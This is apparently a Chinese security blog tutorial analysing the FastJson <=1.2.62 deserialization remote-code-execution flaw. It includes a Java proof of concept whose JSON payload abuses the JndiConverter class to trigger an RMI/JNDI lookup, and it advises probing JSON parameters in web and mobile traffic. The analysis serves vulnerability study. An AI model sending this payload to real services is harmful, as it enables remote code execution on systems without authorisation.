前言
FastJson反序列化作为流行的攻击漏洞之一,受到各方的关注。FastJson的利用载荷再结合不同的模块后展现出更加引人入胜的魅力。虽然漏洞比较老,但是Fastjson<=1.2.62 RCE作为入门的教程进行分享还是足够。
模块的作用
在了解FastJson RCE漏洞分析之前,要先理解FastJson前台什么地方能够被利用。FastJson顾名思义在Json数据传递之中存在的模块。所以在各种HTTP POST数据包之中,如果发现JSON参数传递不妨尝试下。JSON格式的数据传递,在移动端逆向抓包之中较为常见。综上在如果在WEB层没有找到合适的数据包,也可去客户端层找寻。
Fastjson<=1.2.62 RCE 分析
咱们先来了解为什么要autotype开启。因为在1.2.25之后的版本,以及所有的.sec01后缀版本中,autotype功能是受限的,和之前的版本不同,这项限制会影响到@type。
通过POC能够得知首先开启autotype开启,然后使用org.apache.xbean.propertyeditor.JndiConverter进行Jndi的回连。
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class poc {
public static void main(String args[]) {
// 开启 autotype
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
//org.apache.xbean->propertyeditor->JndiConverter()
String text1 = "{\"@type\":\"org.apache.xbean.propertyeditor.JndiConverter\",\"AsText\":\"rmi://127.0.0.1:1099/ningmengboluo\"}";
Object obj = JSON.parseObject(text1);
}
}
紧接着咱们看com.alibaba.fastjson.JSON模块,在代码之中能够看到使用案例。
其次查看org.apache.xbean.propertyeditor.JndiConverter,能够看到存在Jndi的典型漏洞,但是因为不满足漏洞利用条件,也就是需要字符串。
最后咱们需要向上溯源,溯源就是找他的父类AbstractConverter,父类之中的setAsText()刚好满足利用条件。所以载荷之中才会使用AsText作为属性值。
总结
反序列化的知识根据反序列化类的不同而变得丰富多彩。大多数时候更好的理解代码,寻找反序列化点,成为挖掘漏洞的必修课。
来源:freebuf.com 2021-05-17 12:04:34 by: 米怀特
请登录后发表评论
注册